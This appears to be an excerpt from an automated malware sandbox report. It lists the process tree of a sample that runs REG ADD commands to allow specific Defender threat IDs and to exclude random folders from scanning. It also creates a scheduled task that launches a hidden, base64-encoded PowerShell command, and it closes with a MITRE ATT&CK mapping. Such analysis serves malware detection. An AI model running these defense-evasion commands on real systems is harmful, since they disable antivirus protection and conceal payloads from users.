/reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
2⤵
PID:1148

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
3⤵
PID:3604

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
4⤵
PID:1392

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
3⤵
PID:4540

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
3⤵
PID:4560

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
3⤵
PID:3428

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
3⤵
PID:5084

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
3⤵
PID:4008

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
3⤵
PID:3080

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
3⤵
PID:4752

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
3⤵
PID:3576

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
3⤵
PID:2236

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
3⤵
PID:540

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
3⤵
PID:2676

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
3⤵
PID:1068

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
3⤵
PID:3904

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
3⤵
PID:1080

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
3⤵
PID:2812

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
3⤵
PID:3168

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
3⤵
PID:2168

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
3⤵
PID:3968

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
3⤵
PID:4852

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
3⤵
PID:2684

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
3⤵
PID:2372

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
3⤵
PID:3888

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
3⤵
PID:4028

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QMuGxDzxU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QMuGxDzxU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YhmfbgEUeceU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YhmfbgEUeceU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\iTBLcazoBHNRC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\iTBLcazoBHNRC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rYNYBiCjmUUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rYNYBiCjmUUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\hnkumIqTRwUxQLVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\hnkumIqTRwUxQLVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\RHdUtmclRPrQNqWD\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\RHdUtmclRPrQNqWD\" /t REG_DWORD /d 0 /reg:64;"
2⤵
PID:2792

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QMuGxDzxU" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1516

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QMuGxDzxU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1100

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QMuGxDzxU" /t REG_DWORD /d 0 /reg:64
3⤵
PID:4100

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YhmfbgEUeceU2" /t REG_DWORD /d 0 /reg:32
3⤵
PID:2388

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YhmfbgEUeceU2" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2608

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1916

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR" /t REG_DWORD /d 0 /reg:64
3⤵
PID:4616

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\iTBLcazoBHNRC" /t REG_DWORD /d 0 /reg:32
3⤵
PID:384

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\iTBLcazoBHNRC" /t REG_DWORD /d 0 /reg:64
3⤵
PID:3744

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rYNYBiCjmUUn" /t REG_DWORD /d 0 /reg:32
3⤵
PID:2776

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rYNYBiCjmUUn" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2220

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\hnkumIqTRwUxQLVB /t REG_DWORD /d 0 /reg:32
3⤵
PID:2964

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\hnkumIqTRwUxQLVB /t REG_DWORD /d 0 /reg:64
3⤵
PID:2796

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA /t REG_DWORD /d 0 /reg:32
3⤵
PID:1000

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA /t REG_DWORD /d 0 /reg:64
3⤵
PID:3596

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\RHdUtmclRPrQNqWD /t REG_DWORD /d 0 /reg:32
3⤵
PID:1712

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\RHdUtmclRPrQNqWD /t REG_DWORD /d 0 /reg:64
3⤵
PID:4128

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gGXudtMry" /SC once /ST 11:49:43 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
2⤵
- Creates scheduled task(s)
PID:4156

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gGXudtMry"
2⤵
PID:212

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 2016 -ip 2016
1⤵
PID:2264

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:3392

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:368

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:4208

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

T1053

Defense Evasion

Modify Registry

Disabling Security Tools

T1089

Bypass User Account Control

T1088

Virtualization/Sandbox Evasion

T1497

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery